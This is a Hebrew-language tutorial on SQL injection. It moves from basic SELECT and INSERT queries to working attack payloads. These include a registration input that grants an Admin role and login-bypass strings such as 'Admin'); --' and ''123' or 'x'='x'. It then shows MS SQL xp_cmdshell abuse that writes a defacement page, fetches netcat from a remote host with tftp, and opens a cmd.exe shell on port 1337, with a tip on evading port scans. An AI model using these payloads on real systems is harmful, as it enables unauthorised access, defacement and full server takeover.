:על סדר היום
.הקדמה - I
?Sql מה זה בכלל - II
.במערכות שונות Sql דוגמאות לשאילתות - III
.Sql Injection מתחילים עם - IV
.ברשמה שלנו Sql Injection - IV.I-
.בהתחברות שלנו Sql Injection - IV.II-
.Sql Injection מתקדמים עם - V
.בשביל לפרוץ לשרת Xp_cmdshell שימוש ב - V.I-
.סיכום - VI
:הקדמה - I
הוא נושא שהתפתח מאוד בתקופה האחרונה, ומאז המודעות לאותו נושא התגלו "Sql או בעברית "הזרקת ,Sql Injection
.הרבה מאוד מערכות שפגיעות לחור אבטחה הזה, והרבה מאוד אקספלויטים בוססו עליהם, ולכן ראיתי עניין בלכתוב עליו טקסט
.בטקסט הזה אני אנסה להקיף את החורים , ואת דרכי ניצולם
?Sql מה זה בכלל - II
.או בעברית- שפה לבניית שאילתות Structured Query Language היא קיצור של המילים Sql
,השפה הזאת נועדה בשביל ליצור שאילתות לתקשורת עם מסד נתונים, בעזרתה אפשר ליצור שאילתות שיאפשרו לנו לגשת למסד נתונים מסויים ולשלוף ממנו מידע
.לערוך מידע קיים בטבלה מסויימת, בשביל להציג עמודה חדשה, או למחוק מידע בתא מסויים, בקיצור- לעשות כל מה שאנחנו רוצים עם מסדי נתונים
נשמרות ומופעלות באמצעות שאילתות- בלוק פקודות מסויים המסוגל לקבל קלט ע"י הממשק/ישום מסויים ולפיו לבצע פעולה או מספר פעולות Sqlהפקודות ב
.מוגדרות מראש
:לדוגמא, אם יש לנו את המסד נתונים הבא
| FirstName: | LastName: | Grade: |
| Danny | Cohen | 100 |
| Joo | Shoolman | 75 |
| Gil | Raz | 90 |
:פשוטה, היא תיראה כך Sql ואנחנו רוצים לבחור למשל את כל השמות תלמידים שקיבלו בדיוק או יותר מ90 במבחן, נוכל לבצע זאת ע"י שאילתת
SELECT FirstName FROM Students WHERE Grade >= 90;
:והפלט שלנו יהיה
| FirstName: |
| Danny |
| Gil |
.(Name) אומרת לשאילתה לבחור ערכים מסויימים, אנחנו בחרנו את שמו של התלמיד SELECT הפקודה
.Students אומרת לשאילתה מאיפה לבחור את הערכים, אנחנו קבענו שזה יהיה מהמסד נתונים בשם ,FROM הפקודה
.(Grade >= 90) אומרת לשאילתה בדיוק לאיזה תנאי להתייחס, אנחנו קבענו שהתנאי יהיה איפה שהציון יהיה גדול או שווה ל90 ,WHERE הפקודה
:אם נרצה לבחור למשל, רק את הציונים ששווים או מעל הציון 90, נכתוב את השאילתה שלנו בצורה כזאת
SELECT Grade FROM Students WHERE Grade >= 90;
:והפלט שלנו יהיה
| Grade: |
| 100 |
| 90 |
:אם נרצה לבחור את כל פרטי התלמידים שציוניהם גדולים או שווים ל90, השאילתה שלנו תיראה כך
SELECT * FROM Students WHERE Grade >= 90;
:והפלט שלנו יהיה
| FirstName: | LastName: | Grade: |
| Danny | Cohen | 100 |
| Gil | Raz | 90 |
.הסימון *, אומר לשאילתה להתייחס לכל הערכים במיקום מסויים
,יש עוד הרבה מאוד אפשרויות לשאילתות בחירה, יש גם הרבה מאוד סוגי שאילתות, שאילתות להוספת מידע, לעריכת מידע, למחיקת מידע
.היא כמו ששמתם לב- שפה מאוד נוחה לתקשורת עם טבלאות Sql
.במערכות שונות Sql דוגמאות לשאילתות - III
אוקיי, למה אני מספר לכם את כל זה? עוד שניה תבינוי... בואו נחשוב איך מערכת פורומים למשל עובדת, איך היא יכולה לדעת שהסיסמה שהכנסת
,למשתמש מסויים נכונה? איך היא בכלל יכולה לדעת שמשתמש מסויים- באמת קיים? פשוט מאוד- היא שומרת את כל המידע עם השמות משתמשים
.הסיסמאות שלהם, ושאר הפרטים- בטבלאות, לטבלאות האלה קוראים "דאטא בייסים" או בעברית- מסדי נתונים
,בואו ניתן דוגמא, כשאני רוצה להרשם למערכת פורומים, מה מבקשים ממני? לגשת לדף הרישום- ולמלא את הפרטים שאני רוצה, את שמי, את הסיסמה
האימייל שלי, וכו' וכו' וכו', כשאני לוחץ על הכפתור שמסמן שגמרתי למלא את הפרטים- הטופס שולח את כל המידע שהכנסתי בשדות שלו לשאילתה
מסויימת שמכניסה את המידע שלי למסד נתונים תחת השם שלי
.עכשיו, אם אני רוצה למשל להתחבר למערכת- מה אני אמור לעשות? למלא את הפרטי התחברות, לרב זה רק שם משתמש וסיסמא
אז איך המערכת יודעת אם הפרטים שלי נכונים? פשוט מאוד- היא מפעילה שאילתה שבודקת אם הפרטים שהוכנסו בטופס התחברות למערכת, והשאילתה
.משווה אותם עם הערכים שיש במסד נתונים
:בואו ננסה ליצור שאילתה שמקבלת נתונים מטופס רישום ומכניסה אותם למסד נתונים הבא
| UserName: | Password: | Mode: |
:השאילה שלנו תיראה ככה
INSERT INTO Users VALUES ('[User]', '[Password]', 'User');
:המידע שנכניס לשאילתה שלנו לדוגמא, יהיה
User: Dave
Password: 123
:לאחר טעינת הערכים מהטופס, השאילתה שלנו כמובן תיראה ככה
INSERT INTO Users VALUES ('Dave', '123', 'User');
[כל המידע שמגיע מהטופס רישום יודגש בעזרת קו תחתון]
.הפקודות הם אנגלית פשוטה, ולכן אני מניח שאין צוד בפירוט
:אחרי הרצת השאילתה הטעונה, המסד נתונים שלנו יהיה
| UserName: | Password: | Mode: |
| Dave | 123 | User |
אנחנו לא יכולים לשנות ע"י הטופס שלנו, כי השאילתה של המערכת שיצרנו בנויה בצורה כזאת שאנחנו יכולים להכניס Modeשימו לב, שאת הערך שנכנס ב
.מה שאומר שלא משנה איזה משתמש נכניס לפה- הוא תמיד יהיה משתמש רגיל ,Passwordו Nameרק את הערכים שנכנסים ל
.עכשיו, בואו נבנה את השאילתה שמקושרת לטופס התחברות, זאת שבודקת אם הפרטים הכנסנו קיימים ונכונים
:השאילתה שלנו תיראה ככה
SELECT UserName FROM Users WHERE (UserName = '[User]') and (Password = '[Password]');
:הקלט שלנו יהיה
User: Dave
Password: 123
:ולכן השאילתה שלנו (לאחר הטעינה) תיראה כך
SELECT UserName FROM Users WHERE (UserName = 'Dave') and (Password = '123');
.והיוזר שלו הוא 123 Dave ומה שהיא תעשה, זה שהיא תבחר את המשתמש שהשם שלו הוא
.כמובן שנוכל לעשות גם כל מני הודעות, שיגידו שהמשתמש לא קיים, או שהסיסמה לא נכונה וכו'... אבל כל זה קשור רק לממשק ולנוחות בלבד
.Sql Injection מתחילים עם - IV
בשביל לגשת למסד נתונים ולהשתמש בו, בשביל לשמור מידע, בשביל לשלוף Sqlאוקיי, אז כמו שראיתם עכשיו, הרבה מערכות משתמשות בשאילתות
מה הכוונה? ,Sql בדיוק כמו מה שזה נשמע.. הזרקת ?Sql Injection מידע קיים, ובשביל עוד אלף ואחד דברים, אז מה זה
לשאילתה שנכתבה בשביל המערכת, וככה לגרום לה לתפקד כמו שאנחנו Sql הכוונה היא שע"י חור אבטחה קטן, אנחנו יכולים להכניס/להזריק פקודות
.רוצים/צריכים, ולא כמו שהיא אמורה לתפקד טבעית
.אני אתן דוגמאות כדי שהכל יהיה ברור
.בהרשמה שלנו Sql Injection - IV.I
.אוקיי, אז.. איפה הבאג אתם שואלים? איפה יש לנו חורים בשאילתות האלה? מיד תראו
:בואו ניקח למשל, את הטופס הרשמה שלנו למערכת, זוכרים אותו? השאילתה שלו היא
INSERT INTO Users VALUES ('[User]', '[Password]', 'User');
זוכרים מה היה לנו פה? היה לנו פה שני ערכים (שם משתמש וסיסמה) שהם היו דינאמים, היינו יכולים לבחור כל משתמש וכל סיסמה שרצינו, אבל היה לנו פה
?גם עוד ערך, שאותו לא היינו יכולים לשנות, הערך אולי הכי חשוב פה- הערך של הדרגה שלנו, אם אנחנו רוצים גישה של מנהל מה אנחנו יכולים לעשות
.לא הרבה... בגלל שכל המידע שנכנס (חוקית) דרך השאילתה הזאת הוא רק השם משתמש ורק הסיסמה של אותו שם משתמש, כי הדרגה קבועה
:אם למשל נכניס את הקלט הזה
User: Bobo
Password: abc
:לאחר טעינת הערכים מהטופס, השאילתה שלנו כמובן תיראה ככה
INSERT INTO Users VALUES ('Bobo', '123', 'abc');
:ולמסד נתונים שלנו יוסף
| UserName: | Password: | Mode: |
| Dave | 123 | User |
| Bobo | abc | User |
?אבל אם נכניס בטופס רישום את הקלט הבא
User: Gil
Password: 12345','Admin');--
:בואו נראה איך תיראה השאילתה שלנו, שימו לב
:לאחר טעינת השם משתמש, השאילתה שלנו תיראה ככה
INSERT INTO Users VALUES ('Gil', '[Password]', 'User');
:ולאחר טעינת הסיסמה, השאילתה שלנו.. תיראה ככה
INSERT INTO Users VALUES ('Gil', '12345', 'Admin');--', 'User');
.Gil,12345,Admin :את הערכים "Users" בואו נראה אותה... היא תכניס לתוך המסד נתונים
...של הדרגה ,Mode יכנס לתוך ה.... נכון מאוד, הערך ,Admin יכנס לתוך השם משתמש, הערך 12345 ,יכנס לתוך הסיסמה, והערך ,Gil הערך
?(--', 'User');:אתם שואלים מה קורה עם שאר השאילתה? (החלק הזה
הסימן "--" אומר לשאילתה להתעלם משאר המידע, פשוט Sqlב
:לזרוק אותו..., ולכן השאילתה שלנו תיראה רק ככה
INSERT INTO Users VALUES ('Gil', '12345', 'Admin');--
.Admin כמו כולם, היא תיהיה User ושהסיסמה שלו תיהיה 12345, ושהדרגה שלו לא תיהיה ,Gil ומה היא עושה? היא מכניסה למסד נתונים שלנו שם משתמש בשם
:מה שאומר שהמסד נתונים שלנו לאחר הרצת השאילתה עם הקלט
User: Gil
Password: 12345','Admin');--
:יהיה
| UserName: | Password: | Mode: |
| Dave | 123 | User |
| Bobo | abc | User |
| Gil | 12345 | Admin |
.תיהיה לנו גישה של מנהל מערכת, ונוכל לעשות את כל מה שאנחנו רוצים בה -Gil מה שאומר שאם נגש לטופס הרשמה ונתחבר לחשבון של המשתמש
.בהתחברות שלנו Sql Injection - IV.II
בואו נראה את טופס ההרשמה שלנו, אפשר להכניס בו שם משתמש, וסיסמה, יש טפסים שצריכים להכניס בהם שם גם כתובת אימייל, אבל זה ממש לא
.משנה במקרה שלנו
:השאילתה שיצרנו בשביל המערכת התחברות ניראת ככה
SELECT UserName FROM Users WHERE (UserName = '[User]') and (Password = '[Password]');
:בואו נראה, בטופס ההתחברות למערכת שלנו, מכניסים את שם המשתמש, ואת הסיסמה שלו, אם נכניס את המידע הבא
User: Dave
Password: 123
:אז השאילתה שלנו, לאחר טעינת הערכים הנ"ל תיראה ככה
SELECT UserName FROM Users WHERE (UserName = 'Dave') and (Password = '123');
ואם הוא קיים- היא תבדוק אם הסיסמה שלו היא ,Dave ותבדוק אם קיים משתמש בשם ,(Users) ואז כמו שלמדנו קודם, היא תיגש לטבלה שלנו
.באמת 123, ואם גם זה נכון- היא תבחר בו, אם לא, היא תחזיר ערך "שקר" והמערכת תקפיץ לנו הודעה שאו הסיסמה או השם משתמש לא נכונים
.כמובן שיש הרבה דברים לבצע את זה, אבל כל אלה כבר חלק מהממשק, זה לא קשור לטקסט שלנו, ולכן לא ציינתי את זה
:יפה מאוד, עד כאן הכל עובד חלק, בואו נראה מה יהיה לנו, אם נכניס את הערכים הבאים
User: Admin'); --
Password: ריק/כל דבר שאנחנו רוצים
:אני מאמין שחלקכם כבר הבנתם, אבל אני אסביר למי שלא הבין, אם נכניס את המידע הנ"ל, השאילתה שלנו תיראה כך
SELECT UserName FROM Users WHERE (UserName = 'Admin'); -- ') and (Password = '');
:וכמו שלמדנו קודם, כל מה שיש אחרי הסימן "--" - ירד, ולכן השאילתה שלנו תיראה רק ככה
SELECT UserName FROM Users WHERE (UserName = 'Admin');--
ואם כן- בוחרת בו בשביל ההתחברות, מה שאומר שאנחנו יכולים להתחבר ,Admin ולכן נוצר לנו מצב שבו השאילתה שלנו בודקת רק אם קיים משתמש בשם
...לכל משתמש שקיים במערכת בלי לדעת אפילו את הסיסמה שלו
:עוד אפשרות שקיימת היא הערכים הבא
User: Admin
Password: 123' or 'x'='x
:בואו נלך שלב שלב, השאילתה שלנו לאחר טעינת השם משתמש תיראה ככה
SELECT UserName FROM Users WHERE (UserName = 'Admin') and (Password = '[Password]');
(ולאחר טעינת הסיסמה, היא תיראה ככה: (שימו לב טוב
SELECT UserName FROM Users WHERE (UserName = 'Admin') and (Password = '123' or 'x'='x');
:בואו ננתח רק את החלק הבא
(Password = '123' or 'x'='x')
.בחלק הזה, השאילתה בודקת אם הסיסמה שהמשתמש הכניס שווה לסיסמה שיש במסד נתונים שלה, אבל תשימו לב- ישנם שני חלקים בביטוי הבולאני הזה
.or בינהם יש את האופרטור השוואה ,'x'='x' והשני הוא ," Password = '123' " הראשון הוא
:פועל בצורה הבאה ,Or למי שלא יודע, האופרטור השוואה
| Exm1: | Exm2: | Or | Result: |
| True | False | Or | True |
| False | True | Or | True |
| False | False | Or | False |
| True | True | Or | True |
.היא לא 123 Admin הוא שקר, כי הסיסמה של המשתמש Password = '123' :נחזור לתנאי שלנו, אז ככה,הביטוי
.(עצמו..) x תמיד יהיה שווה לתו x תמיד יהיה אמת, כי לא משנה כלום, התו 'x'='x' :לעומת זאת, הביטוי
זאת אומרת שיש לנו "שקר" ו-"אמת" ובין שניהם יש לנו את האופרטור השוואה "או", נגש לטבלה שלנו, ונראה מה התוצאה- התוצאה שלנו
...אמת (לפי השואה השניה) מה שאומר- שכל התנאי הזה יחזיר לשאילתה "אמת" גם אם הסיסמה לא נכונה
:מה שאומר, שאם אנחנו נכניס את הערכים
User: Admin
Password: 123' or 'x'='x
.הסיסמה שלנו תתקבל, ויהיה לנו גישה לחשבונו של המנהל היקר
.Sql Injection מתקדמים עם - V
עד עכשיו ראינו דרכים לשלוט במסד נתונים, לראות איך אפשר לשנות חלקים ולהזריק כל מני מידע לשאילתות ככה שהם יפעלו בצורה שבה אנחנו רוצים
שהם יפעלו ולא כמו שמנהל המערכת הכתיב להם, זה מצוין, אבל כל זה נותן לנו גישה למערכת שעל השרת, ישנם כמה דרכים שבהם אפשר גם לשלוט
בשרת- ופשוט לקבל גישה מלאה לשרת, וכל זה ע"י הזרקת מידע לשאילתות שנכתבו ע"י מנהל המערכת, אחת הדרכים הפופולריות ביותר היא שימוש בישום
.Xp_cmdshell 'Command' :ומשתמשים בו ככה Xp_cmdshell :שנקרא
.בשביל לפרוץ לשרת Xp_cmdshell שימוש ב - V.I
ועל השרתים האלה אני מדבר, הוא נוצר בשביל לעזור לשאילתות שלנו להיות דינמיות וגמישות ,Ms Sql הוא ישום שקיים בשרתי Xp_cmdshell הישום
לדוגמא, בעזרת הישום , Dos יותר גם כלפי המסד נתונים וגם כלפי השרת עצמו, בעזרת הישום הנ"ל, השאילתות יכולות לגשת לשרת ולשלוח לו פקודות
הזה השאילתה יכולה לדעת מה שמם של התיקיות שעל השרת, או כמה קבצים יש בתיקיה מסויימת, איזה קבצי טקסט קיימים- ומה הגודל שלהם, אני אפסיק
.בדוגמאות כאן, אבל ברור שיש עוד מאות אפשרויות
תחשבו רגע, אם תיהיה לנו גישה לאותו ישום, ובעזרתו ובעזרת השאילתה שננצל תיהיה לנו גישה להרצת פקודות על השרת, אנחנו נוכל לעשות כל מה שאנחנו
. רוצים עם השרת, נוכל למחוק קבצים, לערוך קבצים, לסגור את השרת, להפעיל אותו מחדש, לעלות ולהריץ כל קובץ שאנחנו רוצים,בקיצור- מסיבה
.Sql Injection שעליו רצה מערכת שאפשר להריץ עליה Ms Sql אוקיי, אז מה שאנחנו צריכים זה שרת
:בואו נגיד שיש לנו מערכת שמקושרת למסד נתונים של מאגר ציונים, ממש כמו בתחילת הטקסט, המסד נתונים שלנו נראה ככה
| FirstName: | LastName: | Grade: |
| Danny | Cohen | 100 |
| Joo | Shoolman | 75 |
| Gil | Raz | 90 |
:במערכת, יש לנו אפשרות להציג את כל פרטיו של משתמש מסויים ע"י השאילתה הבאה
SELECT * FROM Students WHERE FirstName='[Name]';
:בואו נראה, אם נכניס את הקלט
Name: Gil
:הפלט שלנו יהיה כמובן
| FirstName: | LastName: | Grade: |
| Gil | Raz | 90 |
:אם למשל נכניס את הקלט הבא
Name: Gil' Exec master..Xp_cmdshell 'echo "<Title> HaCKeD! </Title> The Site Hacked by cp77fk4r" >> HaCKeD.html'--
:אז השאילתה שלנו לאחר טעינת המידע הנ"ל תיראה ככה
SELECT * FROM Students WHERE FirstName='Gil' Exec master..Xp_cmdshell 'echo
"<Title> HaCKeD! </Title> The Site Hacked by cp77fk4r" >> HaCKeD.html'--';
."The Site Hacked by cp77fk4r" שבו יהיה כתוב "HaCKeD" על השרת, בשם Html וכשנריץ אותה, ייווצר קובץ
!נחמד, לא? די נחמד, אבל אנחנו מסוגלים גם להשיג גישת שאלל מ-ל-א-ה
...איך? תפעילו קצת את הדמיון
(שנמצא בכל מחשב) Tftp שמוכרת לכולם, לעלות אותה לאיזה שרת ואז בעזרת השאילתה שלנו ובעזרת הישום NetCat.exe אפשר להשתמש בתוכנה הנחמדה
לעלות אותה לתוך השרת
:שידע שהוא מאפשר לקבל ולשלוח קבצים בין מחשבים, הפקודה שאנחנו נשתמש בה דרכו תיהיה כזאת Tftp למי שלא מכיר את הישום
‘tftp –I [TheSiteAddress] GET "Path+nc.exe" "c:\nc.exe"’
.(:כמובן שמריצים אותו ע"י השאילתה שלנו, היא תיראה ככה)
SELECT * FROM Students WHERE FirstName='Gil' Exec master..Xp_cmdshell
‘tftp –I [TheSiteAddress] GET "Path+nc.exe" "c:\nc.exe"’-- ';
(;P עכשיו פשוט תריצו (שוב, ע"י השאילתה שלנו) את הפקודה הבאה (שימו לב למספר הפורט
‘c:\nc.exe –l –p 1337 –e cmd.exe’
(:השאילתה שלנו תיראה ככה)
SELECT * FROM Students WHERE FirstName='Gil' Exec master..Xp_cmdshell
‘c:\nc.exe –l –p 1337 –e cmd.exe’-- ';
בשביל להתחבר לשרת דרך הפורט 1337, ת'אמת? עדיף פורט הרבה יותר גבוהה, כדי שיפחת הסיכוי שיגלו אותו דרך Telnet וזהו, פשוט תשתמשו ב
...סריקת פורטים
.סיכום - VI
אז זהו, הגענו לסופו של הטקסט, אני מאוד מקווה שלמדתם משהו חדש, ושהבנתם את כולו, אם לא הבנתם קטע מסוים אתם תמיד תכלו לפנות אלי לאימייל
כמו שראיתם, ישנם הרבה מאוד פגמים במערכות כאלה, ואם שוחררה ונמצאה מערכת בעלת החורים האלה, לא הייתי מקנא באדמין, אם למי שמצא את החור
יש כוונות רעות- המערכת (וכמו שראיתם) במצבים מסוימים גם השרת, יכולים להיות בסיכון עצום, אני מאוד מקווה שאת הידע שלמדתם בטקסט הזה תנצלו
.רק למטרות טובות, ולא לגרימת נזק כלשהו
.תהנו ותמשיכו לאכול במבה, זה טוב